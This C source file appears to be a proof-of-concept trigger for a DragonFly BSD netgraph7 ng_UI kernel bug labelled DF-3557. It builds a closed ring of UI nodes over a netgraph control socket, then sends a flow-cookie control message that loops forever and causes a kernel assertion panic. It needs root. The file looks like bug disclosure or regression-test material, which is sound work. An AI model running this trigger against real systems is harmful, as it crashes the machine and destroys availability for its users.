/*
 * DF-3557 trigger -- netgraph7 ng_UI: closed UI<->UI hook cycle +
 * NGM_FLOW_COOKIE control-message relay (ng_UI_rcvmsg) = unbounded
 * synchronous forwarding -> LWKT token-array overflow panic.
 *
 * Topology (pure UI, 4 generic messages):
 *   mkpeer  : S.a   <-> U0.downstream
 *   mkpeer  : U0.upstream <-> U1.downstream
 *   rmhook  : S.a                (U0 keeps its upstream hook -> survives)
 *   connect : U1.upstream <-> U0.downstream     ==> closed 2-cycle
 *
 * Inject: FLOW-cookie control message addressed to "u0:downstream".
 * ngc_send -> ng_address_path() sets el_hook (delivered WITH lasthook,
 * no hook port consumed on the sender) -> ng_UI_rcvmsg forwards
 * downlink<->uplink around the closed ring forever, synchronously.
 *
 * Expected (stock): panic: assertion "ref < &td->td_toks_end" failed
 * in lwkt_gettoken_shared (lwkt_token.c:732), guest dies.  Root-only
 * (ngc_attach caps_priv_check -> EPERM for uid != 0).
 *
 * ng7 user ABI (from sys/netgraph7/ng_message.h): NG_VERSION 8,
 * AF_NETGRAPH 32, NG_CONTROL 2.  DFly sa_family_t is __uint8_t so
 * sockaddr data starts at offset 2.
 *
 * Build: cc -O2 -o ui_cycle ui_cycle.c
 * Run (root, netgraph.ko + ng_socket.ko + ng_UI.ko loaded): ./ui_cycle
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#define AF_NG			32
#define NG_CONTROL		2
#define NG_VERSION		8
#define GEN_COOKIE		1137070366	/* NGM_GENERIC_COOKIE (ng7) */
#define FLOW_COOKIE		851672669	/* NGM_FLOW_COOKIE (ng7) */
#define NGM_MKPEER		2
#define NGM_CONNECT		3
#define NGM_NAME		4
#define NGM_RMHOOK		5

#define NG_TYPESIZ		32
#define NG_HOOKSIZ		32
#define NG_NODESIZ		32

struct ngm_hdr_ {
	u_char	version; u_char spare; u_short spare2;
	u_int	arglen, cmd, flags, token, typecookie;
	char	cmdstr[32];
};
struct ng_mesg_ { struct ngm_hdr_ header; char data[2048]; };
struct ngm_mkpeer_ { char type[NG_TYPESIZ]; char ourhook[NG_HOOKSIZ]; char peerhook[NG_HOOKSIZ]; };
struct ngm_name_  { char name[NG_NODESIZ]; };
struct ngm_connect_ { char path[512]; char ourhook[NG_HOOKSIZ]; char peerhook[NG_HOOKSIZ]; };
struct ngm_rmhook_ { char ourhook[NG_HOOKSIZ]; };
/* DFly: sa_family_t is __uint8_t -> sockaddr_ng data starts at offset 2 */
struct sockaddr_ng_ { u_char sg_len; u_char sg_family; char sg_data[64]; };

static u_int32_t tok = 0x5700;

static int
ngc(int cs, const char *path, u_int cookie, u_int cmd,
    const void *arg, size_t arglen)
{
	struct ng_mesg_ m;
	struct sockaddr_ng_ sa;
	ssize_t n;

	memset(&m, 0, sizeof(m));
	m.header.version = NG_VERSION;
	m.header.arglen = arglen;
	m.header.cmd = cmd;
	m.header.token = ++tok;
	m.header.typecookie = cookie;
	if (arglen)
		memcpy(m.data, arg, arglen);

	memset(&sa, 0, sizeof(sa));
	sa.sg_family = AF_NG;
	snprintf(sa.sg_data, sizeof(sa.sg_data), "%s", path);
	sa.sg_len = 2 + strlen(sa.sg_data) + 1;

	n = sendto(cs, &m, sizeof(m.header) + arglen, 0,
	    (struct sockaddr *)&sa, sa.sg_len);
	if (n < 0)
		return (-1);
	return (0);
}

#define STEP(msg) do { printf("STEP %s\n", msg); fflush(stdout); } while (0)
#define FAIL(what) do { printf("RESULT %s errno=%d (%s)\n", what, errno, \
    strerror(errno)); fflush(stdout); exit(1); } while (0)

int
main(void)
{
	struct ngm_mkpeer_ mkp;
	struct ngm_name_ nm;
	struct ngm_connect_ con;
	struct ngm_rmhook_ rmh;
	int cs;

	printf("ui_cycle: uid=%d\n", getuid());
	fflush(stdout);

	cs = socket(AF_NG, SOCK_DGRAM, NG_CONTROL);
	if (cs < 0) {
		printf("RESULT control-socket errno=%d (%s)\n", errno,
		    strerror(errno));
		if (errno == EPERM)
			printf("RESULT unpriv-gated: ng7 ngc_attach "
			    "caps_priv_check -> EPERM (root-only trigger)\n");
		exit(0);
	}

	/* name the socket node so absolute paths are available */
	memset(&nm, 0, sizeof(nm));
	strcpy(nm.name, "uicyc");
	if (ngc(cs, ".", GEN_COOKIE, NGM_NAME, &nm, sizeof(nm)) < 0)
		FAIL("name(self)");
	STEP("socket node named uicyc");

	/* S.a <-> U0.downstream ; U0 created */
	memset(&mkp, 0, sizeof(mkp));
	strcpy(mkp.type, "UI"); strcpy(mkp.ourhook, "a"); strcpy(mkp.peerhook, "downstream");
	if (ngc(cs, ".", GEN_COOKIE, NGM_MKPEER, &mkp, sizeof(mkp)) < 0)
		FAIL("mkpeer U0");
	STEP("mkpeer UI(U0) S.a<->U0.downstream");

	/* name U0 */
	memset(&nm, 0, sizeof(nm));
	strcpy(nm.name, "u0");
	if (ngc(cs, "a", GEN_COOKIE, NGM_NAME, &nm, sizeof(nm)) < 0)
		FAIL("name u0");
	STEP("named U0 = u0");

	/* from U0: U0.upstream <-> U1.downstream ; U1 created */
	memset(&mkp, 0, sizeof(mkp));
	strcpy(mkp.type, "UI"); strcpy(mkp.ourhook, "upstream"); strcpy(mkp.peerhook, "downstream");
	if (ngc(cs, "u0:", GEN_COOKIE, NGM_MKPEER, &mkp, sizeof(mkp)) < 0)
		FAIL("mkpeer U1");
	STEP("mkpeer UI(U1) U0.upstream<->U1.downstream");

	/* name U1 (reachable from S via a.upstream) */
	memset(&nm, 0, sizeof(nm));
	strcpy(nm.name, "u1");
	if (ngc(cs, "a.upstream", GEN_COOKIE, NGM_NAME, &nm, sizeof(nm)) < 0)
		FAIL("name u1");
	STEP("named U1 = u1");

	/* cut the umbilical: destroy S.a (and U0.downstream with it);
	 * U0 still has its upstream hook so it does NOT self-destruct */
	memset(&rmh, 0, sizeof(rmh));
	strcpy(rmh.ourhook, "a");
	if (ngc(cs, "uicyc:", GEN_COOKIE, NGM_RMHOOK, &rmh, sizeof(rmh)) < 0)
		FAIL("rmhook S.a");
	STEP("rmhook uicyc:a (U0 survives with upstream only)");

	/* close the ring: U1.upstream <-> U0.downstream (fresh hooks) */
	memset(&con, 0, sizeof(con));
	strcpy(con.path, "downstream");	/* from U1: through U1.downstream -> U0 */
	strcpy(con.ourhook, "upstream");
	strcpy(con.peerhook, "downstream");
	if (ngc(cs, "u1:", GEN_COOKIE, NGM_CONNECT, &con, sizeof(con)) < 0)
		FAIL("connect close ring");
	STEP("connect U1.upstream<->U0.downstream -- RING CLOSED");

	/* inject: FLOW-cookie message delivered with lasthook set */
	STEP("injecting FLOW message to u0:downstream ...");
	if (ngc(cs, "u0:downstream", FLOW_COOKIE, 0 /* any cmd */, NULL, 0) < 0)
		FAIL("flow inject");
	STEP("flow inject sendto returned -- still alive?!");

	sleep(30);
	printf("RESULT no-panic survived 30s\n");
	return (0);
}
